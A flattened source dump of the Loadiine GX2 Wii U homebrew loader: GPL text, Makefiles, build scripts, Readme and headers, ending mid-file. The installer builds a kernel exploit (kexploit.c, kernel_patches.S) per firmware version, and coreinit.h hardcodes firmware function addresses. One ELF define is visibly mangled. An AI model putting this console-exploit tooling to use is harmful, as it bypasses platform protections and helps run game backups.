PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {one line to give the program's name and a brief idea of what it does.} Copyright (C) {year} {name of author} This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: {project} Copyright (C) {year} {fullname} This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: Makefile ================================================ #--------------------------------------------------------------------------------- # Clear the implicit built in rules #--------------------------------------------------------------------------------- .SUFFIXES: #--------------------------------------------------------------------------------- ifeq ($(strip $(DEVKITPPC)),) $(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") endif ifeq ($(strip $(DEVKITPRO)),) $(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") endif export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) export LIBOGC_INC := $(DEVKITPRO)/libogc/include export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii export PORTLIBS := $(DEVKITPRO)/portlibs/ppc PREFIX := powerpc-eabi- export AS := $(PREFIX)as export CC := $(PREFIX)gcc export CXX := $(PREFIX)g++ export AR := $(PREFIX)ar export OBJCOPY := $(PREFIX)objcopy #--------------------------------------------------------------------------------- # TARGET is the name of the output # BUILD is the directory where object files & intermediate files will be placed # SOURCES is a list of directories containing source code # INCLUDES is a list of directories containing extra header files #--------------------------------------------------------------------------------- TARGET := loadiine_gx2 BUILD := build BUILD_DBG := $(TARGET)_dbg SOURCES := src \ src/common \ src/dynamic_libs \ src/fs \ src/game \ src/gui \ src/kernel \ src/language \ src/loader \ src/menu \ src/network \ src/patcher \ src/resources \ src/settings \ src/sounds \ src/system \ src/utils \ src/video \ src/video/shaders \ src/controller_patcher \ src/controller_patcher/config \ src/controller_patcher/network \ src/controller_patcher/patcher \ src/controller_patcher/utils DATA := data \ data/images \ data/fonts \ data/sounds INCLUDES := src #--------------------------------------------------------------------------------- # options for code generation #--------------------------------------------------------------------------------- CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ -O3 -Wall -Wextra -Wno-unused-parameter -D_GNU_SOURCE -Wno-strict-aliasing $(INCLUDE) ASFLAGS := -mregnames LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections #--------------------------------------------------------------------------------- Q := @ MAKEFLAGS += --no-print-directory #--------------------------------------------------------------------------------- # any extra libraries we wish to link with the project #--------------------------------------------------------------------------------- LIBS := -lgcc -lgd -lpng -ljpeg -lz -lfreetype -lmad -lvorbisidec #--------------------------------------------------------------------------------- # list of directories containing libraries, this must be the top level containing # include and lib #--------------------------------------------------------------------------------- LIBDIRS := $(CURDIR) \ $(DEVKITPPC)/lib \ $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 #--------------------------------------------------------------------------------- # no real need to edit anything past this point unless you need to add additional # rules for different file extensions #--------------------------------------------------------------------------------- ifneq ($(BUILD),$(notdir $(CURDIR))) #--------------------------------------------------------------------------------- export PROJECTDIR := $(CURDIR) export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ $(foreach dir,$(DATA),$(CURDIR)/$(dir)) export DEPSDIR := $(CURDIR)/$(BUILD) #--------------------------------------------------------------------------------- # automatically build a list of object files for our project #--------------------------------------------------------------------------------- FILELIST := $(shell bash ./filelist.sh) GIT_REV := $(shell bash ./gitrev.sh) LANGUAGES := $(shell bash ./updatelang.sh) export CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) export CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) export HFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.h))) sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) #--------------------------------------------------------------------------------- # use CXX for linking C++ projects, CC for standard C #--------------------------------------------------------------------------------- ifeq ($(strip $(CPPFILES)),) export LD := $(CC) else export LD := $(CXX) endif export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ $(sFILES:.s=.o) $(SFILES:.S=.o) \ $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) #--------------------------------------------------------------------------------- # build a list of include paths #--------------------------------------------------------------------------------- export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 #--------------------------------------------------------------------------------- # build a list of library paths #--------------------------------------------------------------------------------- export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib export OUTPUT := $(CURDIR)/$(TARGET) .PHONY: $(BUILD) clean install lang #--------------------------------------------------------------------------------- $(BUILD): @[ -d $@ ] || mkdir -p $@ @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile #--------------------------------------------------------------------------------- clean: @echo clean ... @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf #--------------------------------------------------------------------------------- lang: @[ -d build ] || mkdir -p build @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile translations #--------------------------------------------------------------------------------- else DEPENDS := $(OFILES:.o=.d) #--------------------------------------------------------------------------------- # main targets #--------------------------------------------------------------------------------- $(OUTPUT).elf: $(OFILES) #--------------------------------------------------------------------------------- # Translation files #--------------------------------------------------------------------------------- translations: $(wildcard $(PROJECTDIR)/languages/*.lang) #--------------------------------------------------------------------------------- # This rule links in binary data with the .jpg extension #--------------------------------------------------------------------------------- %.elf: link.ld $(OFILES) @echo "linking ... $(TARGET).elf" $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ #--------------------------------------------------------------------------------- %.a: #--------------------------------------------------------------------------------- @echo $(notdir $@) @rm -f $@ @$(AR) -rc $@ $^ #--------------------------------------------------------------------------------- %.o: %.cpp @echo $(notdir $<) @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) #--------------------------------------------------------------------------------- %.o: %.c @echo $(notdir $<) @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) #--------------------------------------------------------------------------------- %.o: %.S @echo $(notdir $<) @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) #--------------------------------------------------------------------------------- %.png.o : %.png @echo $(notdir $<) @bin2s -a 32 $< | $(AS) -o $(@) #--------------------------------------------------------------------------------- %.jpg.o : %.jpg @echo $(notdir $<) @bin2s -a 32 $< | $(AS) -o $(@) #--------------------------------------------------------------------------------- %.ttf.o : %.ttf @echo $(notdir $<) @bin2s -a 32 $< | $(AS) -o $(@) #--------------------------------------------------------------------------------- %.bin.o : %.bin @echo $(notdir $<) @bin2s -a 32 $< | $(AS) -o $(@) #--------------------------------------------------------------------------------- %.wav.o : %.wav @echo $(notdir $<) @bin2s -a 32 $< | $(AS) -o $(@) #--------------------------------------------------------------------------------- %.mp3.o : %.mp3 @echo $(notdir $<) @bin2s -a 32 $< | $(AS) -o $(@) #--------------------------------------------------------------------------------- %.ogg.o : %.ogg @echo $(notdir $<) @bin2s -a 32 $< | $(AS) -o $(@) #--------------------------------------------------------------------------------- export PATH := $(PROJECTDIR)/gettext-bin:$(PATH) %.pot: $(CFILES) $(CPPFILES) $(HFILES) @echo Updating language files ... @touch $(PROJECTDIR)/languages/$(TARGET).pot @xgettext -C -cTRANSLATORS --from-code=utf-8 -F --no-wrap --add-location -ktr -ktrNOOP -o$(PROJECTDIR)/languages/$(TARGET).pot -p $@ $^ %.lang: $(PROJECTDIR)/languages/$(TARGET).pot @msgmerge -U -N --no-wrap --no-location --backup=none -q $@ $< @touch $@ #--------------------------------------------------------------------------------- -include $(DEPENDS) #--------------------------------------------------------------------------------- endif #--------------------------------------------------------------------------------- ================================================ FILE: Readme.md ================================================ # Loadiine GX2 [![Build Status](https://travis-ci.org/dimok789/loadiine_gx2.svg?branch=master)](https://travis-ci.org/dimok789/loadiine_gx2) --- [Current Stable Release](https://github.com/dimok789/loadiine_gx2/releases/tag/v0.2) | [Nightly builds](https://github.com/dimok789/loadiine_gx2/releases) | [Issue Tracker](https://github.com/dimok789/loadiine_gx2/issues) | [Support Thread](https://gbatemp.net/threads/loadiine-gx2.413823/) ### What is Loadiine GX2? ### Loadiine is a WiiU homebrew. It launches WiiU game backups from SD card. Its Graphical User Interface is based on the WiiU GX2 graphics engine. ### How do I use this? ### All information about how this works and what is required to do for it to work is written on the following [support thread](https://gbatemp.net/threads/loadiine-gx2.413823/). ### How to build? ### #### Main Application #### To build the main application devkitPPC is required as well as some additionally libraries. Download the libogc and portlibs packages from the release pages and put them in your devkitPro path. Replace any existing files. If not yet done export the path of devkitPPC and devkitPRO to the evironment variables DEVKITPRO and DEVKITPPC. All remaining is to enter the main application path and enter "make". You should get a loadiine_gx2.elf and a loadiine_gx2_dbg.elf in the main path. #### Installer Application #### To compile the installer application enter the "installer" path on the source code and type "make". ### Credits ### * Dimok * Cyan * Maschell * n1ghty * dibas * The anonymous graphics dude (he knows who is ment) * and several more contributers --- ================================================ FILE: filelist.sh ================================================ #! /bin/bash # # Automatic resource file list generation # Created by Dimok outFile="./src/resources/filelist.h" count_old=$(cat $outFile 2>/dev/null | tr -d '\n\n' | sed 's/[^0-9]*\([0-9]*\).*/\1/') count=0 if [[ $OSTYPE == darwin* ]]; then for i in $(gfind ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f \( ! -printf "%f\n" \) | sort -f) do files[count]=$i count=$((count+1)) done else for i in $(find ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f \( ! -printf "%f\n" \) | sort -f) do files[count]=$i count=$((count+1)) done fi if [ "$count_old" != "$count" ] || [ ! -f $outFile ] then echo "Generating filelist.h for $count files." >&2 cat < $outFile /**************************************************************************** * Loadiine resource files. * This file is generated automatically. * Includes $count files. * * NOTE: * Any manual modification of this file will be overwriten by the generation. ****************************************************************************/ #ifndef _FILELIST_H_ #define _FILELIST_H_ #include typedef struct _RecourceFile { const char *filename; const u8 *DefaultFile; const u32 &DefaultFileSize; u8 *CustomFile; u32 CustomFileSize; } RecourceFile; EOF for i in ${files[@]} do filename=${i%.*} extension=${i##*.} echo 'extern const u8 '$filename'_'$extension'[];' >> $outFile echo 'extern const u32 '$filename'_'$extension'_size;' >> $outFile echo '' >> $outFile done echo 'static RecourceFile RecourceList[] =' >> $outFile echo '{' >> $outFile for i in ${files[@]} do filename=${i%.*} extension=${i##*.} echo -e '\t{"'$i'", '$filename'_'$extension', '$filename'_'$extension'_size, NULL, 0},' >> $outFile done echo -e '\t{NULL, NULL, 0, NULL, 0}' >> $outFile echo '};' >> $outFile echo '' >> $outFile echo '#endif' >> $outFile fi ================================================ FILE: gitrev.sh ================================================ #! /bin/bash # rev_new=$(git rev-parse --short=7 HEAD) rev_old=$(cat ./src/gitrev.c 2>/dev/null | tr -d '\n' | awk -F"\"" '{print $2}' | awk -F"\"" '{print $1}') if [ "$rev_new" != "$rev_old" ] || [ ! -f ./src/gitrev.c ]; then if [ -n "$rev_new" ]; then echo "Changed Rev $rev_old to $rev_new" >&2 fi cat < ./src/gitrev.c #define GIT_REV "$rev_new" const char *GetRev() { return GIT_REV; } EOF rev_date=`date -u +%Y%m%d%H%M%S` cat < ./meta/meta.xml Loadiine GX2 Dimok, Maschell, n1ghty, dibas 0.3 r$rev_new $rev_date WiiU game loader Loads games from SD card. Compatibility list: http://wiki.gbatemp.net/wiki/Loadiine_compatibility_list Sources: https://github.com/dimok789/loadiine_gx2 EOF fi echo $rev_new ================================================ FILE: installer/Makefile ================================================ PATH := $(DEVKITPPC)/bin:$(PATH) PREFIX ?= powerpc-eabi- CC = $(PREFIX)gcc AS = $(PREFIX)gcc CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin ASFLAGS = -mregnames -x assembler-with-cpp LD = $(PREFIX)ld LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.3.0 -lgcc OBJDUMP ?= $(PREFIX)objdump project := . root := $(CURDIR) build := $(root)/bin sd_loader_elf := ../sd_loader/sd_loader.elf CFLAGS += -DUSE_SD_LOADER ASFLAGS += -DUSE_SD_LOADER all: clean setup main532 main550 main500 main410 main400 main310 main300 sd_loader.h: $(sd_loader_elf) xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@ $(sd_loader_elf): make -C ../sd_loader setup: mkdir -p $(root)/bin/ main550: make main FIRMWARE=550 main540: make main FIRMWARE=532 main532: make main FIRMWARE=532 main500: make main FIRMWARE=500 main410: make main FIRMWARE=410 main400: make main FIRMWARE=400 main310: make main FIRMWARE=310 main300: make main FIRMWARE=300 main210: make main FIRMWARE=210 main200: make main FIRMWARE=200 main: sd_loader.h $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S cp -r $(root)/*.o $(build) rm $(root)/*.o $(LD) -s -o $(build)/code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) clean: rm -rf $(build) rm -rf sd_loader.h print_stats: @echo @echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312 ================================================ FILE: installer/coreinit.h ================================================ #ifndef COREINIT_H #define COREINIT_H #include "types.h" #if (VER==200) #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x010220AC) #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01022D98) #define OSFatal ((void (*)(char* msg))0x01027688) #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01025FB4) #elif (VER==210) #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102232C) #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023018) #define OSFatal ((void (*)(char* msg))0x01027908) #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01026014) #elif (VER==300) | (VER==310) #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01022CBC) #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023D88) #define OSFatal ((void (*)(char* msg))0x01028A68) #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01027390) #elif (VER==400) | (VER==410) #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01026e60) #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01028460) #define OSFatal ((void (*)(char* msg))0x0102D01C) #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102b9ac) #elif VER==500 #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01029CD8) #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B3E4) #define OSFatal ((void (*)(char* msg))0x01030ECC) #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102ECE0) #elif (VER==532) | (VER==540) #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x102a31c) #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x102b790) #define OSFatal ((void (*)(char* msg))0x1031368) #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x102f09c) #elif VER==550 #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) #define OSFatal ((void (*)(char* msg))0x01031618) #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) #else #error "Unsupported Wii U software version" #endif /* ioctlv() I/O vector */ struct iovec { void *buffer; int len; char unknown8[0xc-0x8]; }; typedef struct OSContext { /* OSContext identifier */ uint32_t tag1; uint32_t tag2; /* GPRs */ uint32_t gpr[32]; /* Special registers */ uint32_t cr; uint32_t lr; uint32_t ctr; uint32_t xer; /* Initial PC and MSR */ uint32_t srr0; uint32_t srr1; } OSContext; #endif /* COREINIT_H */ ================================================ FILE: installer/crt0.S ================================================ .extern __main .globl _start _start: # load proper stack lis r1, 0x1ab5 ori r1, r1, 0xd138 # jump to our main bl __main ================================================ FILE: installer/elf_abi.h ================================================ /* * Copyright (c) 1995, 1996, 2001, 2002 * Erik Theisen. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * This is the ELF ABI header file * formerly known as "elf_abi.h". */ #ifndef _ELF_ABI_H #define _ELF_ABI_H /* * This version doesn't work for 64-bit ABIs - Erik. */ /* * These typedefs need to be handled better. */ typedef unsigned int Elf32_Addr; /* Unsigned program address */ typedef unsigned int Elf32_Off; /* Unsigned file offset */ typedef signed int Elf32_Sword; /* Signed large integer */ typedef unsigned int Elf32_Word; /* Unsigned large integer */ typedef unsigned short Elf32_Half; /* Unsigned medium integer */ /* e_ident[] identification indexes */ #define EI_MAG0 0 /* file ID */ #define EI_MAG1 1 /* file ID */ #define EI_MAG2 2 /* file ID */ #define EI_MAG3 3 /* file ID */ #define EI_CLASS 4 /* file class */ #define EI_DATA 5 /* data encoding */ #define EI_VERSION 6 /* ELF header version */ #define EI_OSABI 7 /* OS/ABI specific ELF extensions */ #define EI_ABIVERSION 8 /* ABI target version */ #define EI_PAD 9 /* start of pad bytes */ #define EI_NIDENT 16 /* Size of e_ident[] */ /* e_ident[] magic number */ #define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ #define ELFMAG1 'E' /* e_ident[EI_MAG1] */ #define ELFMAG2 'L' /* e_ident[EI_MAG2] */ #define ELFMAG3 'F' /* e_ident[EI_MAG3] */ #define ELFMAG "\177ELF" /* magic */ #define SELFMAG 4 /* size of magic */ /* e_ident[] file class */ #define ELFCLASSNONE 0 /* invalid */ #define ELFCLASsigned int 1 /* 32-bit objs */ #define ELFCLASS64 2 /* 64-bit objs */ #define ELFCLASSNUM 3 /* number of classes */ /* e_ident[] data encoding */ #define ELFDATANONE 0 /* invalid */ #define ELFDATA2LSB 1 /* Little-Endian */ #define ELFDATA2MSB 2 /* Big-Endian */ #define ELFDATANUM 3 /* number of data encode defines */ /* e_ident[] OS/ABI specific ELF extensions */ #define ELFOSABI_NONE 0 /* No extension specified */ #define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ #define ELFOSABI_NETBSD 2 /* NetBSD */ #define ELFOSABI_LINUX 3 /* Linux */ #define ELFOSABI_SOLARIS 6 /* Sun Solaris */ #define ELFOSABI_AIX 7 /* AIX */ #define ELFOSABI_IRIX 8 /* IRIX */ #define ELFOSABI_FREEBSD 9 /* FreeBSD */ #define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ #define ELFOSABI_MODESTO 11 /* Novell Modesto */ #define ELFOSABI_OPENBSD 12 /* OpenBSD */ /* 64-255 Architecture-specific value range */ /* e_ident[] ABI Version */ #define ELFABIVERSION 0 /* e_ident */ #define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ (ehdr).e_ident[EI_MAG3] == ELFMAG3) /* ELF Header */ typedef struct elfhdr{ unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ Elf32_Half e_type; /* object file type */ Elf32_Half e_machine; /* machine */ Elf32_Word e_version; /* object file version */ Elf32_Addr e_entry; /* virtual entry point */ Elf32_Off e_phoff; /* program header table offset */ Elf32_Off e_shoff; /* section header table offset */ Elf32_Word e_flags; /* processor-specific flags */ Elf32_Half e_ehsize; /* ELF header size */ Elf32_Half e_phentsize; /* program header entry size */ Elf32_Half e_phnum; /* number of program header entries */ Elf32_Half e_shentsize; /* section header entry size */ Elf32_Half e_shnum; /* number of section header entries */ Elf32_Half e_shstrndx; /* section header table's "section header string table" entry offset */ } Elf32_Ehdr; /* e_type */ #define ET_NONE 0 /* No file type */ #define ET_REL 1 /* relocatable file */ #define ET_EXEC 2 /* executable file */ #define ET_DYN 3 /* shared object file */ #define ET_CORE 4 /* core file */ #define ET_NUM 5 /* number of types */ #define ET_LOOS 0xfe00 /* reserved range for operating */ #define ET_HIOS 0xfeff /* system specific e_type */ #define ET_LOPROC 0xff00 /* reserved range for processor */ #define ET_HIPROC 0xffff /* specific e_type */ /* e_machine */ #define EM_NONE 0 /* No Machine */ #define EM_M32 1 /* AT&T WE 32100 */ #define EM_SPARC 2 /* SPARC */ #define EM_386 3 /* Intel 80386 */ #define EM_68K 4 /* Motorola 68000 */ #define EM_88K 5 /* Motorola 88000 */ #if 0 #define EM_486 6 /* RESERVED - was Intel 80486 */ #endif #define EM_860 7 /* Intel 80860 */ #define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ #define EM_S370 9 /* IBM System/370 Processor */ #define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ #if 0 #define EM_SPARC64 11 /* RESERVED - was SPARC v9 64-bit unoffical */ #endif /* RESERVED 11-14 for future use */ #define EM_PARISC 15 /* HPPA */ /* RESERVED 16 for future use */ #define EM_VPP500 17 /* Fujitsu VPP500 */ #define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ #define EM_960 19 /* Intel 80960 */ #define EM_PPC 20 /* PowerPC */ #define EM_PPC64 21 /* 64-bit PowerPC */ #define EM_S390 22 /* IBM System/390 Processor */ /* RESERVED 23-35 for future use */ #define EM_V800 36 /* NEC V800 */ #define EM_FR20 37 /* Fujitsu FR20 */ #define EM_RH32 38 /* TRW RH-32 */ #define EM_RCE 39 /* Motorola RCE */ #define EM_ARM 40 /* Advanced Risc Machines ARM */ #define EM_ALPHA 41 /* Digital Alpha */ #define EM_SH 42 /* Hitachi SH */ #define EM_SPARCV9 43 /* SPARC Version 9 */ #define EM_TRICORE 44 /* Siemens TriCore embedded processor */ #define EM_ARC 45 /* Argonaut RISC Core */ #define EM_H8_300 46 /* Hitachi H8/300 */ #define EM_H8_300H 47 /* Hitachi H8/300H */ #define EM_H8S 48 /* Hitachi H8S */ #define EM_H8_500 49 /* Hitachi H8/500 */ #define EM_IA_64 50 /* Intel Merced */ #define EM_MIPS_X 51 /* Stanford MIPS-X */ #define EM_COLDFIRE 52 /* Motorola Coldfire */ #define EM_68HC12 53 /* Motorola M68HC12 */ #define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ #define EM_PCP 55 /* Siemens PCP */ #define EM_NCPU 56 /* Sony nCPU embeeded RISC */ #define EM_NDR1 57 /* Denso NDR1 microprocessor */ #define EM_STARCORE 58 /* Motorola Start*Core processor */ #define EM_ME16 59 /* Toyota ME16 processor */ #define EM_ST100 60 /* STMicroelectronic ST100 processor */ #define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ #define EM_X86_64 62 /* AMD x86-64 */ #define EM_PDSP 63 /* Sony DSP Processor */ /* RESERVED 64,65 for future use */ #define EM_FX66 66 /* Siemens FX66 microcontroller */ #define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ #define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ #define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ #define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ #define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ #define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ #define EM_SVX 73 /* Silicon Graphics SVx */ #define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ #define EM_VAX 75 /* Digital VAX */ #define EM_CHRIS 76 /* Axis Communications embedded proc. */ #define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ #define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ #define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ #define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ #define EM_HUANY 81 /* Harvard University mach-indep objs */ #define EM_PRISM 82 /* SiTera Prism */ #define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ #define EM_FR30 84 /* Fujitsu FR30 */ #define EM_D10V 85 /* Mitsubishi DV10V */ #define EM_D30V 86 /* Mitsubishi DV30V */ #define 